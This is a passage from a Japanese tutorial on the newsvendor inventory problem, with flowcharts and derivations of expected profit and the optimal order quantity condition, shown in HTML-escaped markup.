&lt;div&gt;&lt;span&gt;        C --&amp;gt;|x&amp;gt;Q&amp;lt;br/&amp;gt;供給不足| E[品切れ発生&amp;lt;br/&amp;gt;Stockout&amp;lt;br/&amp;gt;機会損失 a×x-Q&amp;lt;br/&amp;gt;Understocking Cost]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt;|x=Q&amp;lt;br/&amp;gt;完全一致| F[完売&amp;lt;br/&amp;gt;Perfect Match&amp;lt;br/&amp;gt;損失なし&amp;lt;br/&amp;gt;Optimal Realization]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; G[利益計算&amp;lt;br/&amp;gt;Profit Calculation&amp;lt;br/&amp;gt;ΠQ,x=a×minQ,x-c×Q]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "期待利益最大化"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; H[期待利益&amp;lt;br/&amp;gt;Expected Profit&amp;lt;br/&amp;gt;EΠQ=a×EminQ,x-c×Q]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I[最適化条件&amp;lt;br/&amp;gt;Optimality Condition&amp;lt;br/&amp;gt;dEΠQ/dQ=0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[最適発注数量&amp;lt;br/&amp;gt;Optimal Order Quantity&amp;lt;br/&amp;gt;FQ*=1-c/a&amp;lt;br/&amp;gt;F 累積分布関数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "コスト構造"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        K[限界利益&amp;lt;br/&amp;gt;Marginal Profit&amp;lt;br/&amp;gt;a-c] --&amp;gt; L[限界損失&amp;lt;br/&amp;gt;Marginal Loss&amp;lt;br/&amp;gt;c]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        L --&amp;gt; M[クリティカル比率&amp;lt;br/&amp;gt;Critical Ratio&amp;lt;br/&amp;gt;c/a]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        M --&amp;gt; N[発注戦略&amp;lt;br/&amp;gt;Ordering Strategy&amp;lt;br/&amp;gt;c/a大→保守的&amp;lt;br/&amp;gt;c/a小→積極的]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 利益の数式化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;発注部数を $&lt;/span&gt;&lt;span&gt; Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{Z}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;geq &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;} $&lt;/span&gt;&lt;span&gt; とし、当日の客数（需要）を $&lt;/span&gt;&lt;span&gt; X $&lt;/span&gt;&lt;span&gt;（確率変数、確率質量関数は $&lt;/span&gt;&lt;span&gt; f_X(x) = P(X = x) $&lt;/span&gt;&lt;span&gt;、累積分布関数は $&lt;/span&gt;&lt;span&gt; F_X(x) = P(X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq x) $&lt;/span&gt;&lt;span&gt;）とする。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 利益関数の定義&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;利益関数 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q, X) $&lt;/span&gt;&lt;span&gt; は以下のように定義される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q, X) = a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X) - c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot Q&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この関数は、需要 $&lt;/span&gt;&lt;span&gt; X $&lt;/span&gt;&lt;span&gt; の実現値に応じて以下のように分解できる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q, X) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;aX - cQ &amp;amp; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{if } X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{(売れ残り発生)} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;aQ - cQ = (a-c)Q &amp;amp; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{if } X &amp;gt; Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{(品切れ発生)}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 各要素の数学的表現&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**実際に売れる部数**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; S(Q, X) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X) $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; これは&lt;/span&gt;&lt;span&gt;**制約付き売上関数**&lt;/span&gt;&lt;span&gt;（Constrained Sales Function）である&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕入コスト**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot Q $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 決定変数 $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; に線形に依存する確定費用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**売上**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; R(Q, X) = a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X) $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 需要の実現値に依存する確率的収益&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**売れ残りロス**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; L_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{over}}(Q, X) = c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max(Q - X, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) = c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot (Q - X)^+ $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 過剰在庫コスト（Overstocking Cost）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**機会損失**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; L_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{under}}(Q, X) = a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max(X - Q, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) = a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot (X - Q)^+ $&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 在庫切れコスト（Understocking Cost）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**利益**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q, X) = R(Q, X) - cQ = a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X) - c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot Q $&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで、$&lt;/span&gt;&lt;span&gt; (x)^+ = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max(x, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) $&lt;/span&gt;&lt;span&gt; は正の部分関数（Positive Part Function）である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 利益の期待値&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;新聞売り子の1日あたり期待利益 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)] $&lt;/span&gt;&lt;span&gt; は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X) - c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot Q] = a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X)] - c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot Q&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### $ \mathbb{E}[\min(Q, X)] $ の展開&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;期待売上部数 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X)] $&lt;/span&gt;&lt;span&gt; は、確率変数 $&lt;/span&gt;&lt;span&gt; X $&lt;/span&gt;&lt;span&gt; の分布に応じて計算される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**連続分布の場合**&lt;/span&gt;&lt;span&gt;（確率密度関数 $&lt;/span&gt;&lt;span&gt; f_X(x) $&lt;/span&gt;&lt;span&gt;）：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X)] &amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, x) f_X(x) \, dx \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty}^{Q} x f_X(x) \, dx + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{Q}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} Q f_X(x) \, dx \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty}^{Q} x f_X(x) \, dx + Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X &amp;gt; Q) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty}^{Q} x f_X(x) \, dx + Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - F_X(Q))&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**離散分布の場合**&lt;/span&gt;&lt;span&gt;（確率質量関数 $&lt;/span&gt;&lt;span&gt; f_X(x) = P(X = x) $&lt;/span&gt;&lt;span&gt;）：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X)] &amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{Q} x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=Q+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{Q} x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) + Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X &amp;gt; Q) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{x=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}^{Q} x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(X = x) + Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - F_X(Q))&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この式の意味：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 第1項：需要が発注量以下の場合の期待売上部数（需要の実現値に等しい）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 第2項：需要が発注量を超える場合の期待売上部数（常に $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; 部、確率 $&lt;/span&gt;&lt;span&gt; P(X &amp;gt; Q) $&lt;/span&gt;&lt;span&gt; で発生）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 最適発注点の導出&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;利益最大化のために最適発注数量 $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; を求める。これは&lt;/span&gt;&lt;span&gt;**確率的最適化問題**&lt;/span&gt;&lt;span&gt;（Stochastic Optimization Problem）である：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 最適化プロセスの可視化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図12: 新聞売り子問題の最適化プロセス**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "問題の定式化"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[利益関数&amp;lt;br/&amp;gt;ΠQ,X = a×minQ,X - c×Q] --&amp;gt; B[期待利益&amp;lt;br/&amp;gt;EΠQ = a×EminQ,X - c×Q]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "期待値の計算"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[EminQ,Xの展開&amp;lt;br/&amp;gt;連続分布: ∫x f_Xx dx + Q1-F_XQ&amp;lt;br/&amp;gt;離散分布: Σx PX=x + Q PX&amp;gt;Q]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "最適化"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D[一階条件&amp;lt;br/&amp;gt;dEΠQ/dQ = 0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; E[連続分布&amp;lt;br/&amp;gt;a1-F_XQ* = c]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; F[離散分布&amp;lt;br/&amp;gt;a PX&amp;gt;Q*-1 ≥ c &amp;gt; a PX&amp;gt;Q*]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; G[最適条件&amp;lt;br/&amp;gt;F_XQ* = 1 - c/a]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "解の決定"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; H[累積分布関数から&amp;lt;br/&amp;gt;Q*を決定&amp;lt;br/&amp;gt;F_XQ* = 1 - c/a]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I[最適発注数量Q*&amp;lt;br/&amp;gt;Optimal Order Quantity]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "検証"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[期待利益の確認&amp;lt;br/&amp;gt;EΠQ* ≥ EΠQ&amp;lt;br/&amp;gt;for all Q]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{Z}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;geq &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)] = a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min(Q, X)] - c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot Q&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 一階条件（First-Order Condition）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**連続分布の場合**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;期待利益を $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; で微分（ライプニッツの積分公式を適用）：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)]}{dQ} &amp;amp;= a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{d}{dQ}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty}^{Q} x f_X(x) \, dx + Q(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - F_X(Q))&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right] - c \\&lt;/span&gt;&lt;/div&gt;
